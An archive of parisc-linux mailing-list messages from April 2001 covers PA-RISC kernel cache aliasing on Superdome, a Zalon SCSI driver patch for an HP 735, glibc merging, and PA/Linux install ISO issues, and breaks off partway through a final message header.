Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bjorn_helgaas@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] parisc virtual aliasing
Date: Mon, 23 Apr 2001 14:26:55 -0600
Lines: 61
Approved: news@gmane.org
Message-ID: <01042314265503.26870@eeyore.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620072 18591 80.91.229.3 (22 Nov 2014 01:34:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:32 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 23 14:27:37 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 21543482A
	for <parisc-linux@parisc-linux.org>; Mon, 23 Apr 2001 14:27:37 -0600 (MDT)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel1.hp.com (Postfix) with ESMTP id B8176711
	for <parisc-linux@parisc-linux.org>; Mon, 23 Apr 2001 16:27:35 -0400 (EDT)
Original-Received: from eeyore.fc.hp.com (eeyore.fc.hp.com [15.1.54.199])
	by udlkern.fc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.01) with SMTP id OAA08831
	for <parisc-linux@parisc-linux.org>; Mon, 23 Apr 2001 14:27:35 -0600 (MDT)
X-Mailer: KMail [version 1.1.99]
Xref: news.gmane.org gmane.linux.ports.parisc:10904

I'm going through the parisc code related to the issue of virtual
aliasing in the dcache and need a little insight into how things
currently work.  Superdome deviates from the parisc architecture in
that non-equivalent aliasing (even for read-only pages, which the
architecture explicitly allows) causes HPMCs, so I'd like to tweak the
current support to make things work on Superdome.

In copy_user_page(), we currently do the copy using the permanent
kernel alias, then flush the destination from the dcache.  The flush
will avoid a conflict between the kernel alias and the future user
mapping, but we may still have a conflict with a previous user mapping
unless there has been a flush before the copy.  We could avoid the
conflict with a previous user mapping by either using an alias
equivalent to it (if we knew the old mapping) or flushing before the
copy.

In clear_user_page(), we currently purge the page from the dcache,
then clear it using a temporary alias equivalent to the eventual user
mapping.  I think superdome lets you do flushes and purges using
arbitrary aliases, so the purge should avoid a conflict between a
previous user mapping and the temporary kernel mapping.  The
equivalent alias should avoid any problem with the new user mapping.

We don't flush after clearing the page, so it seems like user attempts
to execute from the cleared page could read stale data from memory (on
all platforms, not just superdome).

So my questions:

	- In copy_user_page(), has the destination page already been
	  flushed somewhere else?  I think not, because I see virtual
	  index HPMCs there.

	- Do we know the previous user mapping?  If so, we could do
	  the copy using an equivalent alias to the previous mapping,
	  then flush once after the copy.  If not, we may have to
	  flush before and after the copy.

	- Are there any issues with the source of the copy?  We flush
	  only the destination, so I'm assuming the source is some
	  kernel page that has no user aliases to worry about.

	- In clear_user_page(), do we care whether user attempts to
	  execute from a cleared page get potentially stale data from
	  memory or zeros?

	- Lastly, a question not specific to superdome:
	  flush_user_dcache_range() and flush_user_icache_range() either
	  flush just the requested range or the entire cache, depending
	  on the size of the range.  Flushing just the range is done
	  with FDC, while flushing the entire cache is done with FDCE.
	  This seems like a problem for MP machines, because if you
	  flush a large enough range, the local cache will be flushed,
	  but remote ones will be untouched.

Bjorn






From - Thu Nov 08 21:17:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc -print-file-name=cpp
Date: Mon, 23 Apr 2001 21:37:26 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <20010423213726.H18464@parcelfarce.linux.theplanet.co.uk>
References: <20010423210120.F18464@parcelfarce.linux.theplanet.co.uk> <200104232022.QAA22918@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620073 18592 80.91.229.3 (22 Nov 2014 01:34:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:33 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 23 14:37:37 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 58B36482A
	for <parisc-linux@parisc-linux.org>; Mon, 23 Apr 2001 14:37:36 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14rn5K-00022C-00; Mon, 23 Apr 2001 21:37:26 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200104232022.QAA22918@hiauly1.hia.nrc.ca>; from dave@hiauly1.hia.nrc.ca on Mon, Apr 23, 2001 at 04:22:46PM -0400
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10905

On Mon, Apr 23, 2001 at 04:22:46PM -0400, John David Anglin wrote:
> Try `gcc -print-search-dirs' and see if for some strange reason /lib isn't
> in the library search path.

/lib is indeed in the library search path, although not the programs.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc -print-file-name=cpp
Date: Mon, 23 Apr 2001 16:47:56 -0400 (EDT)
Lines: 15
Approved: news@gmane.org
Message-ID: <200104232047.QAA23482@hiauly1.hia.nrc.ca>
References: <20010423213726.H18464@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620073 18593 80.91.229.3 (22 Nov 2014 01:34:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:33 +0000 (UTC)
Cc: matthew@wil.cx, parisc-linux@parisc-linux.org
To: matthew@wil.cx (Matthew Wilcox)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 23 14:48:01 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7585A482A
	for <parisc-linux@parisc-linux.org>; Mon, 23 Apr 2001 14:48:00 -0600 (MDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id QAA23482;
	Mon, 23 Apr 2001 16:47:56 -0400 (EDT)
In-Reply-To: <20010423213726.H18464@parcelfarce.linux.theplanet.co.uk> from "Matthew Wilcox" at Apr 23, 2001 09:37:26 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:10906

> On Mon, Apr 23, 2001 at 04:22:46PM -0400, John David Anglin wrote:
> > Try `gcc -print-search-dirs' and see if for some strange reason /lib isn't
> > in the library search path.
> 
> /lib is indeed in the library search path, although not the programs.

Looks like it's time to fire up the debugger.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)




From - Thu Nov 08 21:17:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: FW: [parisc-linux] How do I use the FW scsi on 735?
Date: Mon, 23 Apr 2001 22:08:46 +0100
Lines: 42
Approved: news@gmane.org
Message-ID: <20010423220846.O985@linuxcare.com>
References: <A8566E157F5FD411BCFB00D0B7816D51C7294A@ntexchange.cat.csiro.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620073 18595 80.91.229.3 (22 Nov 2014 01:34:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:33 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: "van de Werken, Matthew (DEM, PH)" <M.Vandewerken@cat.csiro.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 23 15:07:43 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id CF1C5482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 23 Apr 2001 15:07:42 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 07E62B007; Mon, 23 Apr 2001 22:08:47 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <A8566E157F5FD411BCFB00D0B7816D51C7294A@ntexchange.cat.csiro.au>; from M.Vandewerken@cat.csiro.au on Mon, Apr 23, 2001 at 09:08:33AM +1000
Xref: news.gmane.org gmane.linux.ports.parisc:10907

On Mon, Apr 23, 2001 at 09:08:33AM +1000, van de Werken, Matthew (DEM, PH) wrote:
> 
> 
> > -----Original Message-----
> > From: van de Werken, Matthew (DEM, PH) 
> > Sent: Monday, 23 April 2001 9:07
> > To: 'parisc-linux@lists.parisc.org'
> > Subject: RE: [parisc-linux] How do I use the FW scsi on 735?
> > 
> > 
> > Forgot to mention, it's a custom kernel - there is a chance I 
> > left out the necessary drivers. What is the driver for the FW 
> > SCSI controller on the 735 please?

Can you try this patch, compile CONFIG_SCSI_ZALON in, and let me know
what happens?

Richard


Index: drivers/scsi/zalon7xx.c
===================================================================
RCS file: /home/cvs/parisc/linux/drivers/scsi/zalon7xx.c,v
retrieving revision 1.6
diff -u -r1.6 zalon7xx.c
--- zalon7xx.c	2001/04/06 05:10:57	1.6
+++ zalon7xx.c	2001/04/23 20:58:30
@@ -58,6 +58,11 @@
 		"GSC SCSI (Zalon)", "53c720",
 		(void *) zalon_scsi_callback}, 
 
+	{HPHW_FIO, 0x007, 0, 0x0007c, 0x0, 0,
+		DRIVER_CHECK_HWTYPE | DRIVER_CHECK_SVERSION,
+		"GSC SCSI (Outfield)", "53c720",
+		(void *) zalon_scsi_callback}, 
+
 	{0,0,0,0,0,0, 0, (char *) NULL,(char *) NULL,(void *) NULL}
 };
 




From - Thu Nov 08 21:17:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Matthew van de Werken" <mvdw73@one.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: FW: [parisc-linux] How do I use the FW scsi on 735?
Date: Wed, 25 Apr 2001 10:21:17 +1000
Lines: 91
Approved: news@gmane.org
Message-ID: <002301c0cd1d$a6d3add0$1401a8c0@peewee>
References: <A8566E157F5FD411BCFB00D0B7816D51C7294A@ntexchange.cat.csiro.au> <20010423220846.O985@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620074 18599 80.91.229.3 (22 Nov 2014 01:34:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:34 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "Richard Hirst" <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 24 18:16:49 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail-ob02.one.net.au (mail-ob02.one.net.au [61.12.0.162])
	by dsl2.external.hp.com (Postfix) with ESMTP id 79A3C482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 24 Apr 2001 18:16:47 -0600 (MDT)
Original-Received: Received: [from peewee (async83-bri-isp-4.nas.one.net.au [203.101.60.84])
	by mail-ob02.one.net.au  with SMTP id f3P0HPv07685;
	Wed, 25 Apr 2001 10:17:26 +1000 (EST)]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Xref: news.gmane.org gmane.linux.ports.parisc:10908

Hi Richard:

I added the patch (I assume I added it correctly - the resulting vmlinux was
different), and ran the new kernel, with no change. The FW scsi is still not
recognised.

I tried the following combinations of drivers, with the same result:

(All of the following were with HP-LASI on and HP-ZALON on):

* No other SCSI drivers;
* NCR53c7,8xx support as well;
* sym53c8xx support as well.

None of these combinations works; any other ideas from anyone on how to get
FW scsi support? I am using the snapshot taken I believe on 9 April, with
the cross-compiler from that date.

If anyone has FW scsi support going (at the same time as the narrow scsi),
if they could mail me their .config file to compile the kernel I'd
appreciate it.

I am of course assuming that the FW scsi isn't working, by the fact that the
FW disks aren't being recognised at boot time, and the fact that I can't
fdisk /dev/sdx, for x != a.

Cheers,
MvdW




----- Original Message -----
From: "Richard Hirst" <rhirst@linuxcare.com>
To: "van de Werken, Matthew (DEM, PH)" <M.Vandewerken@cat.csiro.au>
Cc: <parisc-linux@lists.parisc-linux.org>
Sent: Tuesday, April 24, 2001 7:08 AM
Subject: Re: FW: [parisc-linux] How do I use the FW scsi on 735?


> On Mon, Apr 23, 2001 at 09:08:33AM +1000, van de Werken, Matthew (DEM, PH)
wrote:
> >
> >
> > > -----Original Message-----
> > > From: van de Werken, Matthew (DEM, PH)
> > > Sent: Monday, 23 April 2001 9:07
> > > To: 'parisc-linux@lists.parisc.org'
> > > Subject: RE: [parisc-linux] How do I use the FW scsi on 735?
> > >
> > >
> > > Forgot to mention, it's a custom kernel - there is a chance I
> > > left out the necessary drivers. What is the driver for the FW
> > > SCSI controller on the 735 please?
>
> Can you try this patch, compile CONFIG_SCSI_ZALON in, and let me know
> what happens?
>
> Richard
>
>
> Index: drivers/scsi/zalon7xx.c
> ===================================================================
> RCS file: /home/cvs/parisc/linux/drivers/scsi/zalon7xx.c,v
> retrieving revision 1.6
> diff -u -r1.6 zalon7xx.c
> --- zalon7xx.c 2001/04/06 05:10:57 1.6
> +++ zalon7xx.c 2001/04/23 20:58:30
> @@ -58,6 +58,11 @@
>   "GSC SCSI (Zalon)", "53c720",
>   (void *) zalon_scsi_callback},
>
> + {HPHW_FIO, 0x007, 0, 0x0007c, 0x0, 0,
> + DRIVER_CHECK_HWTYPE | DRIVER_CHECK_SVERSION,
> + "GSC SCSI (Outfield)", "53c720",
> + (void *) zalon_scsi_callback},
> +
>   {0,0,0,0,0,0, 0, (char *) NULL,(char *) NULL,(void *) NULL}
>  };
>
>
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
>





From - Thu Nov 08 21:17:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Russ Pridemore <pridemore@charter.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] identifying my HP
Date: Tue, 24 Apr 2001 23:07:13 -0400 (EDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <auto-000000887666@dc-mx01.cluster0.hsacorp.net>
Reply-To: Russ.Pridemore@bigfoot.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
X-Trace: ger.gmane.org 1416620074 18602 80.91.229.3 (22 Nov 2014 01:34:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:34 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 24 21:05:57 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dc-mx01.cluster0.hsacorp.net (unknown [209.225.8.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id 71B49482A
	for <parisc-linux@parisc-linux.org>; Tue, 24 Apr 2001 21:05:56 -0600 (MDT)
Original-Received: from 24-240-23-188.hsacorp.net ([24.240.23.188] verified)
  by dc-mx01.cluster0.hsacorp.net (CommuniGate Pro SMTP 3.4.5)
  with ESMTP id 887666 for parisc-linux@parisc-linux.org; Tue, 24 Apr 2001 23:06:05 -0400
Content-Disposition: INLINE
X-Mailer: Mahogany, 0.62 'Mars', compiled for Linux 2.2.12-20smp i686
Xref: news.gmane.org gmane.linux.ports.parisc:10909

I inherited a decommisioned HP 700 workstation and I'm planning on putting
Linux on it as time permits.  First of all, I'm not certain of what I have
here!  Its a pizza-box that says Apollo series 700 on the front.  Under the
little cover with the LEDs, it says model A1950A...

I don't have an HIL kbd or mouse, a monitor with RGB BNC connectors, or
even a SCSI hard drive to plug in (doesn't seem to be an internal drive),
but want to hook up a serial console and try to boot Linux through NFS
from my Intel-Linux machine.  Should be a learning experience, to say the
least. :-)

Any help would be most appreciated,
Russ






From - Thu Nov 08 21:17:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@ldl.fc.hp.com (Matthew Wilcox)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] glibc 2.2.3
Date: Wed, 25 Apr 2001 01:07:22 -0600
Lines: 16
Approved: news@gmane.org
Message-ID: <20010425010722.G1166@zumpano.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620075 18604 80.91.229.3 (22 Nov 2014 01:34:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:35 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 25 01:52:45 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id 086BD482A
	for <parisc-linux@parisc-linux.org>; Wed, 25 Apr 2001 01:52:45 -0600 (MDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by atlrel2.hp.com (Postfix) with ESMTP id 4352C2887
	for <parisc-linux@parisc-linux.org>; Wed, 25 Apr 2001 03:07:37 -0400 (EDT)
Original-Received: by ldl.fc.hp.com (Postfix, from userid 22224)
	id 6FB495AB08; Wed, 25 Apr 2001 01:07:22 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Xref: news.gmane.org gmane.linux.ports.parisc:10910

i've been merging patches from our glibc tree with upstream CVS (see
http://sources.redhat.com/ml/bug-glibc/2001-04/ for details).  I've ported
most of the remaining changes from our tree into a snapshot of today's
upstream CVS.  The diff is availabe at

ftp://puffin.external.hp.com/pub/parisc/src/libc-2.2.3-A2.diff

it's a mishmash of CVS diffs and diffs against /dev/null (to cope with the
5 new files in our tree).  I'll send some more of this to Ulrich tomorrow.

i haven't actually dared install this libc yet, so if you want to be the
first.... :-)





From - Thu Nov 08 21:17:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: FW: [parisc-linux] How do I use the FW scsi on 735?
Date: Wed, 25 Apr 2001 09:12:04 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <20010425091204.J985@linuxcare.com>
References: <A8566E157F5FD411BCFB00D0B7816D51C7294A@ntexchange.cat.csiro.au> <20010423220846.O985@linuxcare.com> <002301c0cd1d$a6d3add0$1401a8c0@peewee>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620075 18607 80.91.229.3 (22 Nov 2014 01:34:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew van de Werken <mvdw73@one.net.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 25 02:11:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id A0721482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 25 Apr 2001 02:11:09 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id C6AFFB007; Wed, 25 Apr 2001 09:12:04 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <002301c0cd1d$a6d3add0$1401a8c0@peewee>; from mvdw73@one.net.au on Wed, Apr 25, 2001 at 10:21:17AM +1000
Xref: news.gmane.org gmane.linux.ports.parisc:10911

On Wed, Apr 25, 2001 at 10:21:17AM +1000, Matthew van de Werken wrote:
> Hi Richard:
> 
> I added the patch (I assume I added it correctly - the resulting vmlinux was
> different), and ran the new kernel, with no change. The FW scsi is still not
> recognised.

Shame :(  The Zalon driver is the one you are interested in.  My B180
with a Bluefish (Zalon based) FWD card runs the sim700, zalon, and
sym53c8xx drivers all at the same time, no problem.

It's possible I got the parameters wrong in my patch; the aim is to
cause drivers/scsi/zalon7xx.c:zalon_scsi_callback() to get called
for your interface.  It could be that is getting called but failing
for some reason.  If it is called, you should at least be getting
a line

        ......: Zalon vers field is ......

output on boot.

If you don't see that, perhaps you can investigate by adding a few
printk()'s to see what I got wrong.

zalon7xx_detect() is surely getting called, and that uses register_driver()
in arch/parisc/kernel/drivers.c to try and match your cards parameters
against one of the entries in zalon_scsi_drivers[].  Try and figure out
why that match is not succeeding for your scsi interface.

Richard





From - Thu Nov 08 21:17:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Witvliet, Hans" <Hans.Witvliet@Alcatel.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] PA/Linux iso 0.6 is out!
Date: Wed, 25 Apr 2001 10:36:58 +0200
Lines: 48
Approved: news@gmane.org
Message-ID: <1A8904C3797ED411AC2E0008C7E6F88117C843@nlntmail2b.ats.nld.alcatel.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1416620075 18612 80.91.229.3 (22 Nov 2014 01:34:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:35 +0000 (UTC)
To: "'Xavier Debacker'" <xavier.debacker@esiee.net>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 25 02:37:52 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from relay1.alcatel.be (alc119.alcatel.be [195.207.101.119])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4EFC1482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 25 Apr 2001 02:37:51 -0600 (MDT)
Original-Received: from nlntadn.ats.nld.alcatel.nl (localhost [127.0.0.1])
	by relay1.alcatel.be (8.10.1/8.10.1) with ESMTP id f3P8b5G18523;
	Wed, 25 Apr 2001 10:37:06 +0200 (MET DST)
Original-Received: by nlntadn.ats.nld.alcatel.nl with Internet Mail Service (5.5.2650.21)
	id <JC8BYTML>; Wed, 25 Apr 2001 10:37:04 +0200
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:10912

Hi all,

A quick try of the 32 bits version with STI console on a C110.
After booting from cdrom, i get startup info and the message switching to
STI. (looks very promissing..)
Again some more messages and a login prompt.
There it stops, the system does not read input from my keyboard, so can not
login....

Will try on other systems later...

Hans.

> -----Original Message-----
> From:	Xavier Debacker [SMTP:xavier.debacker@esiee.net]
> Sent:	Thursday, April 19, 2001 12:27 PM
> To:	parisc-linux@lists.parisc-linux.org;
> parisc-linux-announce@lists.parisc-linux.org
> Subject:	[parisc-linux] PA/Linux iso 0.6 is out!
> 
> New CD iso images can be downloaded at
> http://mkhppa1.esiee.fr/en/isos.html
> 
> 3 versions:
> 32bits kernel with serial console
> 32bits kernel with STI console
> 64bits kernel with serial console
> 
> all kernels are on each iso, the only difference is the default booting
> kernel.
> 
> Enjoy, and give us feedback :-)
> 
> Xavier Debacker
> ESIEE Team
> http://www.esiee.fr/puffin
> 
> 
> 
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux




From - Thu Nov 08 21:17:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Xavier Debacker <xavier.debacker@esiee.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA/Linux iso 0.6 is out!
Date: Wed, 25 Apr 2001 11:22:29 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <3AE69755.37E86981@esiee.net>
References: <1A8904C3797ED411AC2E0008C7E6F88117C843@nlntmail2b.ats.nld.alcatel.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620076 18613 80.91.229.3 (22 Nov 2014 01:34:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Witvliet, Hans" <Hans.Witvliet@Alcatel.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 25 03:22:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 68BF5482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 25 Apr 2001 03:22:35 -0600 (MDT)
Original-Received: from esiee.net (pc5158d.esiee.fr [147.215.50.170])
	by mail.esiee.fr (Postfix) with ESMTP
	id 50143D1668; Wed, 25 Apr 2001 11:22:29 +0200 (CEST)
X-Mailer: Mozilla 4.75 [fr] (Win98; U)
X-Accept-Language: fr
Xref: news.gmane.org gmane.linux.ports.parisc:10913

"Witvliet, Hans" a =E9crit :

> Hi all,
>
> A quick try of the 32 bits version with STI console on a C110.
> After booting from cdrom, i get startup info and the message switching =
to
> STI. (looks very promissing..)
> Again some more messages and a login prompt.
> There it stops, the system does not read input from my keyboard, so can=
 not
> login....
>
> Will try on other systems later...
>
> Hans.

Hi Hans,

Do you use HIL or PS/2 Keyboard ?

Only PS/2 keyboard is supported.

Xavier.





From - Thu Nov 08 21:17:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Robin Theander <Robin.Theander@tellabs.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA/Linux iso 0.6 is out!
Date: Wed, 25 Apr 2001 11:29:21 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <3AE698F1.99733EE5@tellabs.com>
References: <1A8904C3797ED411AC2E0008C7E6F88117C843@nlntmail2b.ats.nld.alca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620076 18616 80.91.229.3 (22 Nov 2014 01:34:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:36 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 25 03:36:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mx.tellabs.fi (mx.tellabs.fi [193.65.253.34])
